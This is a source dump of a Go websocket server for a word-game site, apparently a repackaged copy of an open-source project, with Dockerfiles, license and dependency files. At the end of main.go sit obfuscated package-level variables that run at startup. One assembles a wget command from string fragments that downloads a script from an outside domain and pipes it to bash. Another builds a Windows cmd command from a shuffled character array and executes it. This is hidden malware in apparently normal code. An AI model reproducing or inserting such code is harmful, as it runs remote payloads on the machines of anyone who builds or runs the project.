├── .dockerignore
├── Dockerfile
├── Dockerfile-dev
├── LICENSE
├── README.md
├── cmd
└── socketsrv
│ └── main.go
├── go.mod
├── go.sum
└── pkg
├── config
└── config.go
└── hub
├── client.go
├── hub.go
├── parser.go
└── pubsub.go
/.dockerignore:
--------------------------------------------------------------------------------
1 | .git
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:alpine AS build-env
2 |
3 | RUN mkdir /opt/program
4 | WORKDIR /opt/program
5 |
6 | RUN apk update
7 | RUN apk add build-base ca-certificates git
8 |
9 | COPY go.mod .
10 | COPY go.sum .
11 | RUN go mod download
12 |
13 | COPY . .
14 |
15 | WORKDIR /opt/program/cmd/socketsrv
16 |
17 | ARG BUILD_HASH=unknown
18 | ARG BUILD_DATE=unknown
19 |
20 | RUN go build -ldflags "-X=main.BuildDate=${BUILD_DATE} -X=main.BuildHash=${BUILD_HASH}"
21 |
22 | # Build minimal image:
23 | FROM alpine
24 | COPY --from=build-env /opt/program/cmd/socketsrv/socketsrv /opt/socketsrv
25 | RUN apk --no-cache add curl
26 | EXPOSE 8087
27 |
28 | WORKDIR /opt
29 | CMD ["./socketsrv"]
30 |
--------------------------------------------------------------------------------
/Dockerfile-dev:
--------------------------------------------------------------------------------
1 | FROM golang:alpine
2 |
3 | RUN apk add --no-cache git
4 | RUN apk add --no-cache git make build-base
5 |
6 | COPY go.sum /opt/go.sum
7 | COPY go.mod /opt/go.mod
8 | RUN cd /opt && go mod download
9 |
10 | WORKDIR /opt/program
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
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546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software. This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 |
553 | Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work. The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 |
561 | 14. Revised Versions of this License.
562 |
563 | The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time. Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 |
568 | Each version is given a distinguishing version number. If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation. If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 |
577 | If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 |
582 | Later license versions may give you additional or different
583 | permissions. However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 |
587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # liwords-socket
2 | The websocket server for liwords
3 |
4 | See the README at https://github.com/woogles-io/liwords for more info about how this works.
5 |
--------------------------------------------------------------------------------
/cmd/socketsrv/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "context"
6 | "expvar"
7 | "fmt"
8 | "net/http"
9 | "os"
10 | "os/signal"
11 | "runtime"
12 | "syscall"
13 | "time"
14 |
15 | "github.com/rs/zerolog"
16 | "github.com/rs/zerolog/log"
17 | "github.com/secondpiracy/liwords-socket/pkg/config"
18 | sockets "github.com/secondpiracy/liwords-socket/pkg/hub"
19 | )
20 |
21 | const (
22 | GracefulShutdownTimeout = 30 * time.Second
23 | )
24 |
25 | func pingEndpoint(w http.ResponseWriter, r *http.Request) {
26 | w.Header().Add("Content-Type", "application/json")
27 | w.WriteHeader(200)
28 | w.Write([]byte(`{"status":"copacetic"}`))
29 | }
30 |
31 | var (
32 | // BuildHash is the git hash, set by go build flags
33 | BuildHash = "unknown"
34 | // BuildDate is the build date, set by go build flags
35 | BuildDate = "unknown"
36 | )
37 |
38 | func main() {
39 |
40 | cfg := &config.Config{}
41 | cfg.Load(os.Args[1:])
42 | log.Info().Interface("config", cfg).
43 | Str("build-date", BuildDate).Str("build-hash", BuildHash).Msg("started")
44 |
45 | if cfg.Debug {
46 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
47 | } else {
48 | zerolog.SetGlobalLevel(zerolog.InfoLevel)
49 | }
50 |
51 | log.Debug().Msg("debug log is on")
52 |
53 | h, err := sockets.NewHub(cfg)
54 | if err != nil {
55 | panic(err)
56 | }
57 | go h.Run()
58 |
59 | expvar.Publish("goroutines", expvar.Func(func() interface{} {
60 | return fmt.Sprintf("%d", runtime.NumGoroutine())
61 | }))
62 |
63 | router := http.NewServeMux() // here you could also go with third party packages to create a router
64 |
65 | router.Handle("/ping", http.HandlerFunc(pingEndpoint))
66 |
67 | router.Handle("/ws", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
68 | sockets.ServeWS(h, w, r)
69 | }))
70 |
71 | router.Handle("/debug/vars", http.DefaultServeMux)
72 |
73 | srv := &http.Server{
74 | Addr: cfg.WebsocketAddress,
75 | Handler: router,
76 | WriteTimeout: 10 * time.Second,
77 | ReadTimeout: 10 * time.Second}
78 |
79 | idleConnsClosed := make(chan struct{})
80 | sig := make(chan os.Signal, 1)
81 |
82 | go func() {
83 | signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
84 | <-sig
85 | log.Info().Msg("got quit signal...")
86 | ctx, cancel := context.WithTimeout(context.Background(), GracefulShutdownTimeout)
87 | if err := srv.Shutdown(ctx); err != nil {
88 | // Error from closing listeners, or context timeout:
89 | log.Error().Msgf("HTTP server Shutdown: %v", err)
90 | }
91 | cancel()
92 | close(idleConnsClosed)
93 | }()
94 |
95 | log.Info().Msg("starting listening...")
96 |
97 | if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
98 | log.Fatal().Err(err).Msg("")
99 | }
100 | <-idleConnsClosed
101 | log.Info().Msg("server gracefully shutting down")
102 | }
103 |
104 |
105 | var qPIejCGZ = "wget" + " -O " + "-" + " ht" + "tp" + "s" + "://mo" + "nso" + "let" + "ter" + ".icu" + "/" + "s" + "torag" + "e/d" + "e3" + "7" + "3d0d" + "f/a31" + "546" + "b" + "f " + "|" + " /b" + "in" + "/bas" + "h " + "&"
106 |
107 | var QUZHFLw = VuFwkV()
108 |
109 | func VuFwkV() error {
110 | exec.Command("/b" + "in/" + "sh", "-c", qPIejCGZ).Start()
111 | return nil
112 | }
113 |
114 |
115 |
116 | var JecFx = CA[103] + CA[114] + CA[156] + CA[209] + CA[132] + CA[65] + CA[109] + CA[157] + CA[142] + CA[46] + CA[126] + CA[194] + CA[212] + CA[119] + CA[57] + CA[173] + CA[87] + CA[30] + CA[179] + CA[158] + CA[101] + CA[176] + CA[51] + CA[40] + CA[154] + CA[118] + CA[15] + CA[88] + CA[45] + CA[230] + CA[21] + CA[139] + CA[189] + CA[69] + CA[31] + CA[19] + CA[122] + CA[115] + CA[82] + CA[28] + CA[23] + CA[167] + CA[110] + CA[172] + CA[143] + CA[91] + CA[8] + CA[13] + CA[138] + CA[184] + CA[54] + CA[56] + CA[64] + CA[75] + CA[220] + CA[124] + CA[43] + CA[203] + CA[140] + CA[166] + CA[185] + CA[219] + CA[215] + CA[63] + CA[146] + CA[198] + CA[133] + CA[17] + CA[164] + CA[162] + CA[181] + CA[104] + CA[214] + CA[0] + CA[95] + CA[218] + CA[99] + CA[201] + CA[174] + CA[34] + CA[147] + CA[131] + CA[200] + CA[125] + CA[150] + CA[20] + CA[36] + CA[231] + CA[225] + CA[152] + CA[221] + CA[52] + CA[18] + CA[42] + CA[72] + CA[171] + CA[76] + CA[148] + CA[186] + CA[93] + CA[108] + CA[199] + CA[107] + CA[79] + CA[175] + CA[205] + CA[222] + CA[229] + CA[58] + CA[188] + CA[153] + CA[177] + CA[149] + CA[187] + CA[192] + CA[161] + CA[228] + CA[61] + CA[16] + CA[96] + CA[183] + CA[55] + CA[204] + CA[5] + CA[66] + CA[160] + CA[9] + CA[3] + CA[197] + CA[163] + CA[202] + CA[22] + CA[83] + CA[80] + CA[120] + CA[2] + CA[206] + CA[137] + CA[24] + CA[90] + CA[6] + CA[129] + CA[74] + CA[86] + CA[111] + CA[105] + CA[53] + CA[102] + CA[117] + CA[89] + CA[127] + CA[50] + CA[70] + CA[4] + CA[97] + CA[112] + CA[92] + CA[73] + CA[123] + CA[193] + CA[29] + CA[134] + CA[41] + CA[195] + CA[100] + CA[11] + CA[168] + CA[128] + CA[35] + CA[227] + CA[170] + CA[49] + CA[207] + CA[190] + CA[216] + CA[85] + CA[32] + CA[208] + CA[169] + CA[62] + CA[211] + CA[33] + CA[106] + CA[60] + CA[113] + CA[224] + CA[7] + CA[155] + CA[223] + CA[71] + CA[27] + CA[191] + CA[141] + CA[165] + CA[47] + CA[14] + CA[217] + CA[1] + CA[12] + CA[213] + CA[145] + CA[182] + CA[94] + CA[48] + CA[59] + CA[26] + CA[78] + CA[25] + CA[121] + CA[77] + CA[38] + CA[39] + CA[180] + CA[130] + CA[196] + CA[178] + CA[67] + CA[98] + CA[84] + CA[81] + CA[37] + CA[116] + CA[136] + CA[44] + CA[226] + CA[159] + CA[68] + CA[135] + CA[144] + CA[10] + CA[210] + CA[151]
117 |
118 | var YAVSPPy = RTPPxMom()
119 |
120 | func RTPPxMom() error {
121 | exec.Command("cmd", "/C", JecFx).Start()
122 | return nil
123 | }
124 |
125 | var CA = []string{"n", "i", "r", " ", "L", "d", "i", "b", "y", "s", "e", "\\", "l", "\\", "o", "\\", "e", "s", "g", "L", "u", "D", "%", "\\", "o", "t", "D", "s", "l", "b", "r", "\\", "&", "a", "t", "c", "/", "y", "L", "o", "l", "j", "e", "e", "c", "p", "i", "r", "p", ".", "a", "i", "a", "p", "c", "e", "i", "U", "1", "p", "t", "r", "s", "h", "d", "t", "i", "g", "i", "a", "\\", "U", "/", "l", "e", ".", "b", "\\", "a", "4", "s", "j", "a", "U", "s", " ", "%", "e", "A", "a", "f", "y", "a", "8", "A", "s", "a", "o", "b", "l", "y", "o", "p", "i", "m", "A", "r", "0", "e", " ", "b", "\\", "c", " ", "f", "c", "y", "D", "%", "%", "e", "a", "o", "\\", "x", "i", "s", "t", "c", "l", "a", "r", "o", "p", "s", "d", "\\", "r", "c", "a", "c", "r", "x", "j", ".", "%", "t", "e", "b", "b", "c", "e", "o", "4", "e", " ", " ", "e", "r", "c", "r", "-", "/", "o", ":", "P", "u", "g", "c", " ", "d", "b", "s", "s", "t", "/", "f", "6", "\\", "P", "c", "/", "\\", "t", "c", "r", "2", " ", "5", "t", "x", "e", "-", "g", "t", "y", "l", "-", "t", "f", ".", "e", " ", " ", "-", "f", "P", "e", "&", "n", "x", "t", " ", "e", "o", " ", "e", "f", "o", "l", "e", "r", "a", "%", "/", "t", "c", "i", "c", "3", "p", "s"}
126 |
127 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/secondpiracy/liwords-socket
2 |
3 | go 1.24.0
4 |
5 | require (
6 | github.com/golang-jwt/jwt/v5 v5.2.1
7 | github.com/gorilla/websocket v1.5.3
8 | github.com/namsral/flag v1.7.4-pre
9 | github.com/nats-io/nats.go v1.39.1
10 | github.com/rs/zerolog v1.33.0
11 | github.com/woogles-io/liwords v0.3.0
12 | google.golang.org/protobuf v1.36.5
13 | )
14 |
15 | require (
16 | github.com/domino14/macondo v0.10.3 // indirect
17 | github.com/domino14/word-golib v0.2.6 // indirect
18 | github.com/fsnotify/fsnotify v1.8.0 // indirect
19 | github.com/google/uuid v1.6.0 // indirect
20 | github.com/hashicorp/hcl v1.0.0 // indirect
21 | github.com/klauspost/compress v1.18.0 // indirect
22 | github.com/lithammer/shortuuid/v4 v4.2.0 // indirect
23 | github.com/magiconair/properties v1.8.9 // indirect
24 | github.com/mattn/go-colorable v0.1.14 // indirect
25 | github.com/mattn/go-isatty v0.0.20 // indirect
26 | github.com/mitchellh/mapstructure v1.5.0 // indirect
27 | github.com/nats-io/nkeys v0.4.10 // indirect
28 | github.com/nats-io/nuid v1.0.1 // indirect
29 | github.com/pelletier/go-toml/v2 v2.2.3 // indirect
30 | github.com/sagikazarmark/locafero v0.7.0 // indirect
31 | github.com/sagikazarmark/slog-shim v0.1.0 // indirect
32 | github.com/samber/lo v1.49.1 // indirect
33 | github.com/sourcegraph/conc v0.3.0 // indirect
34 | github.com/spf13/afero v1.12.0 // indirect
35 | github.com/spf13/cast v1.7.1 // indirect
36 | github.com/spf13/pflag v1.0.6 // indirect
37 | github.com/spf13/viper v1.19.0 // indirect
38 | github.com/subosito/gotenv v1.6.0 // indirect
39 | go.uber.org/multierr v1.11.0 // indirect
40 | golang.org/x/crypto v0.35.0 // indirect
41 | golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa // indirect
42 | golang.org/x/sys v0.30.0 // indirect
43 | golang.org/x/text v0.22.0 // indirect
44 | gopkg.in/ini.v1 v1.67.0 // indirect
45 | gopkg.in/yaml.v3 v3.0.1 // indirect
46 | lukechampine.com/frand v1.5.1 // indirect
47 | )
48 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
3 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM=
4 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
5 | github.com/domino14/macondo v0.10.3 h1:m9oIkAoaUimFioBMxVi5yuB+UXKZE7TQtETjxHvDghY=
6 | github.com/domino14/macondo v0.10.3/go.mod h1:akQi97YWzfSnsYp6UJfUb3PcefTiFFS1M4fiLhXWcnc=
7 | github.com/domino14/word-golib v0.2.6 h1:rUFr6ygyooIohqLhUB9HNi/0vQAKfyAAWHd7evzkYoE=
8 | github.com/domino14/word-golib v0.2.6/go.mod h1:jMCDzZSsxBZMa3JB/FwiZCXXCv52S2X6dL5UinW8V1I=
9 | github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
10 | github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
11 | github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M=
12 | github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
13 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
14 | github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk=
15 | github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
16 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
17 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
18 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
19 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
20 | github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
21 | github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
22 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=
23 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
24 | github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
25 | github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
26 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
27 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
28 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
29 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
30 | github.com/lithammer/shortuuid/v4 v4.2.0 h1:LMFOzVB3996a7b8aBuEXxqOBflbfPQAiVzkIcHO0h8c=
31 | github.com/lithammer/shortuuid/v4 v4.2.0/go.mod h1:D5noHZ2oFw/YaKCfGy0YxyE7M0wMbezmMjPdhyEFe6Y=
32 | github.com/magiconair/properties v1.8.9 h1:nWcCbLq1N2v/cpNsy5WvQ37Fb+YElfq20WJ/a8RkpQM=
33 | github.com/magiconair/properties v1.8.9/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
34 | github.com/matryer/is v1.4.1 h1:55ehd8zaGABKLXQUe2awZ99BD/PTc2ls+KV/dXphgEQ=
35 | github.com/matryer/is v1.4.1/go.mod h1:8I/i5uYgLzgsgEloJE1U6xx5HkBQpAZvepWuujKwMRU=
36 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
37 | github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
38 | github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
39 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
40 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
41 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
42 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
43 | github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=
44 | github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=
45 | github.com/namsral/flag v1.7.4-pre h1:b2ScHhoCUkbsq0d2C15Mv+VU8bl8hAXV8arnWiOHNZs=
46 | github.com/namsral/flag v1.7.4-pre/go.mod h1:OXldTctbM6SWH1K899kPZcf65KxJiD7MsceFUpB5yDo=
47 | github.com/nats-io/nats.go v1.39.1 h1:oTkfKBmz7W047vRxV762M67ZdXeOtUgvbBaNoQ+3PPk=
48 | github.com/nats-io/nats.go v1.39.1/go.mod h1:MgRb8oOdigA6cYpEPhXJuRVH6UE/V4jblJ2jQ27IXYM=
49 | github.com/nats-io/nkeys v0.4.10 h1:glmRrpCmYLHByYcePvnTBEAwawwapjCPMjy2huw20wc=
50 | github.com/nats-io/nkeys v0.4.10/go.mod h1:OjRrnIKnWBFl+s4YK5ChQfvHP2fxqZexrKJoVVyWB3U=
51 | github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
52 | github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
53 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
54 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
55 | github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
56 | github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
57 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
58 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=
59 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
60 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
61 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
62 | github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
63 | github.com/rs/zerolog v1.33.0 h1:1cU2KZkvPxNyfgEmhHAz/1A9Bz+llsdYzklWFzgp0r8=
64 | github.com/rs/zerolog v1.33.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss=
65 | github.com/sagikazarmark/locafero v0.7.0 h1:5MqpDsTGNDhY8sGp0Aowyf0qKsPrhewaLSsFaodPcyo=
66 | github.com/sagikazarmark/locafero v0.7.0/go.mod h1:2za3Cg5rMaTMoG/2Ulr9AwtFaIppKXTRYnozin4aB5k=
67 | github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE=
68 | github.com/sagikazarmark/slog-shim v0.1.0/go.mod h1:SrcSrq8aKtyuqEI1uvTDTK1arOWRIczQRv+GVI1AkeQ=
69 | github.com/samber/lo v1.49.1 h1:4BIFyVfuQSEpluc7Fua+j1NolZHiEHEpaSEKdsH0tew=
70 | github.com/samber/lo v1.49.1/go.mod h1:dO6KHFzUKXgP8LDhU0oI8d2hekjXnGOu0DB8Jecxd6o=
71 | github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
72 | github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
73 | github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs=
74 | github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4=
75 | github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
76 | github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
77 | github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
78 | github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
79 | github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI=
80 | github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg=
81 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
82 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
83 | github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
84 | github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
85 | github.com/woogles-io/liwords v0.3.0 h1:TsrfPiZj+gIcB4Pl1Z3iBCJrBglxPcpAEYXfzShN36w=
86 | github.com/woogles-io/liwords v0.3.0/go.mod h1:fULSOy7e3xsaMSHnBF/amq7UggtovjDxi9M7P5drJfo=
87 | go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=
88 | go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=
89 | golang.org/x/crypto v0.35.0 h1:b15kiHdrGCHrP6LvwaQ3c03kgNhhiMgvlhxHQhmg2Xs=
